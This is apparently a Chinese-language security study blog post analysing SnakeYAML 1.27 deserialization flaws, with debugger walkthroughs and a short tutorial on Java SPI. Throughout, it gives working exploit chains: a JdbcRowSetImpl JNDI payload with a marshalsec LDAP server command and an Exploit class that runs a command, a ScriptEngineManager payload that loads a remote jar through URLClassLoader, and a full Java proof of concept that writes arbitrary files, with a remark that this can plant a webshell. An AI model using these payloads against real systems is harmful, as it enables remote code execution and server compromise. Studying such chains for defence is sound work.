CVE-2022,很新的洞了
环境 java 8u66
snakeyaml 1.27
使用例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
import org.yaml.snakeyaml.Yaml;
public class Main { public static void main(String[] args) { Yaml yaml = new Yaml(); Person person = new Person("mike", 18); String str = yaml.dump(person); System.out.println(str); Person person2 = (Person) yaml.load(str); System.out.println(person2); } }
|
dump序列化,load反序列化。
可以加载对象,序列化触发get,反序列化触发set。
这一看不就是和fastjson差不多吗?直接打JNDI试试。
JdbcRowSetImpl:
POC:
1
| !!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap:
|
开启ldap服务器:
1
| D:\java11_low_version\bin\java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8082/#Exploit 1389
|
恶意exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.lang.Runtime; import java.lang.Process;
public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
运行:
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
import org.yaml.snakeyaml.Yaml;
public class Main { public static void main(String[] args) { String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Exploit, autoCommit: true}"; Yaml yaml = new Yaml(); yaml.load(poc); } }
|
漏洞分析:
和fastjson很像,但是又不太一样。
审一下:


一路跟断点来到:


一共执行了3轮,第一轮解析了JdbcRowSetImpl这个类,然后解析其键值,一共两个键值,解析两次。
第2轮data为DataSourceName,来到safeConstructor:

经过两轮迭代后,key解析完毕,然后解析value:
在这个方法执行了set方法:


跟进set:

到这里就到了JdbcRowSetImpl链的setAutoCommit方法了。
小问题:
我现在都不知道java到底如何获取getter setter?
是自己写反射?还是jdk就有工具?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.example;
import com.sun.javaws.jnl.PropertyDesc; import org.yaml.snakeyaml.Yaml; import org.example.Person;
import java.beans.PropertyDescriptor; import java.lang.reflect.Method;
public class Main { public static void main(String[] args) throws Exception { PropertyDescriptor pd = new PropertyDescriptor("username", Person.class);
Method getter = pd.getReadMethod(); Method setter = pd.getWriteMethod();
System.out.println("Getter Method: " + getter.getName()); System.out.println("Setter Method: " + setter.getName()); } }
|
这里用的是PropertyDescriptor,是java.Bean下的一个类。
getReadMethod获取的是getter,getWriteMethod获取的是setter。
比如我要写值:
.png)
getWriteMethod().invoke(object, data);
ScriptEngineManager
ScriptEngineManager:
先来学下什么是SPI:
实际例子:mysql-connector,众所周知mysql有很多版本如mariadb,mysql,要加载这些,怎么优雅简洁的加载呢?
就要用到SPI了。
例:
1 2 3 4 5
| package org.example;
public interface HelloSPI { void sayHello(); }
|
然后有两个实现类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example;
public class ImageHello implements HelloSPI{ @Override public void sayHello() { System.out.println("This is image hello"); } }
package org.example;
public class TextHello implements HelloSPI { public void sayHello() { System.out.println("Text Hello"); } }
|
然后需要配置文件,在resources/META-INF/services/
添加org.example.HelloSPI
文件内容:
org.example.ImageHello
org.example.TextHello
其实就是那两个实现类。
SPIDemo:
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example;
import java.util.ServiceLoader;
public class SPIDemo { public static void main(String[] args) { ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class); for(HelloSPI helloSPI : serviceLoader) { helloSPI.sayHello(); } } }
|
通过serviceLoader就可以加载所有的服务了。比如使用mysql-connector,就可以有所有版本的连接了。
ServiceLoader实现了Iterator接口,具体请直接去看类的代码,其作用如下:
首先,ServiceLoader实现了Iterable接口,所以它有迭代器的属性,这里主要都是实现了迭代器的hasNext和next方法。这里主要都是调用的lookupIterator的相应hasNext和next方法,lookupIterator是懒加载迭代器。
其次,LazyIterator中的hasNext方法,静态变量PREFIX就是”META-INF/services/”目录,这也就是为什么需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件。
最后,通过反射方法Class.forName()加载类对象,并用newInstance方法将类实例化,并把实例化后的类缓存到providers对象中,(LinkedHashMap<String,S>类型) 然后返回实例对象。
所以缺点也是显而易见的,实例化对象占资源较大。
验证:
1 2 3
| String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://acld0j.dnslog.cn\"]]]]\n" Yaml yaml = new Yaml() yaml.load(poc)
|

回到snakeyaml。
利用项目:
https://github.com/artsploit/yaml-payload.git
编译:
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|
POC如下:
1 2 3 4
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8082/yaml-payload.jar"] ]]]
|
看下其项目文件:

如图,其构造函数是命令执行的地方,这玩意实现了ScriptEngineManager类。
SPI配置文件:

然后跟下断点:

前面都差不多,但是这里用的是ContructorSequence,而不是之前的SafeConstructor。

直接锁定这个方法。
经过来回断点,把功能搞明白了。

从内往外实例化对象,现实java.net.URL, 然后是其ClassLoader,然后是ScriptEngineManger。
来到第三次:

我们直接在ScriptEngineManager的构造函数打个断点。


最后在这个方法执行了代码。
我们不妨先猜一下,SPI里,Loader储存的都是实例化对象,

在第二次迭代来到:

到这里,loader用的是我们传入的URLClassLoader。泛型是ScriptEngineFactory
利用URLClassLoader寻找到jar包,然后实例化了

导致命令执行!
一些疑问:
1:关于URLClassloader如何远程加载jar文件并执行命令?
1 2 3 4 5 6 7 8 9
| public class Questions { public static void main(String[] args) throws Exception{ URL[] urls = {new URL("http://127.0.0.1:8082/yaml-payload.jar")}; URLClassLoader loader = new URLClassLoader(urls);
loader.loadClass("artsploit.AwesomeScriptEngineFactory").newInstance();
} }
|
rt,远程加载jar包。
然后再套一层。
1 2 3 4
| URL[] urls = {new URL("http://127.0.0.1:8082/yaml-payload.jar")} URLClassLoader loader = new URLClassLoader(urls)
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(loader)
|
2:为什么选择了SequenceConstructor而不是第一个链的SafeConstructor?
我探寻了一下,类里面套一层类,就被解析为SequenceNode。
然后是Constructor,像jdbcRowSetImpl利用链就被解析为MappingNode
不出网的利用
参考:https://xz.aliyun.com/t/10655
之前看过长亭的fastjson的commons-io写webshell,相当的精彩。

如图,fastjson是会检查构造函数的,所以fastjson那个链找了6个类,还有循环引用才成功。
目前公开的jre 8 下写文件poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| { "x":{ "@type":"java.lang.AutoCloseable", "@type":"sun.rmi.server.MarshalOutputStream", "out":{ "@type":"java.util.zip.InflaterOutputStream", "out":{ "@type":"java.io.FileOutputStream", "file":"/tmp/dest.txt", "append":false }, "infl":{ "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen":1048576 }, "protocolVersion":1 } }
|
这个snakeyaml可以用,写了个poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package org.example;
import org.yaml.snakeyaml.Yaml;
import java.io.ByteArrayOutputStream; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.zip.Deflater;
public class Main { public static void main(String[] args) { Yaml yaml = new Yaml();
String originalData = "whoamipriv"; byte[] compressedData = compressData(originalData.getBytes());
String base64 = new String(Base64.getEncoder().encode(compressedData)); String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"c:/users/daniel/desktop/1.txt\"],false],!!java.util.zip.Inflater { input: !!binary " + base64 +" },1048576]]";
yaml.load(poc); }
private static byte[] compressData(byte[] data) { Deflater deflater = new Deflater(); deflater.setInput(data);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length);
deflater.finish(); byte[] buffer = new byte[1024]; while (!deflater.finished()) { int count = deflater.deflate(buffer); outputStream.write(buffer, 0, count); }
deflater.end(); return outputStream.toByteArray(); } }
|
hh写完才发现作者最下面给了poc了。
写完文件后,可以写webshell,写不了可以写个jar包用ScriptEngineManager加载jar。
完。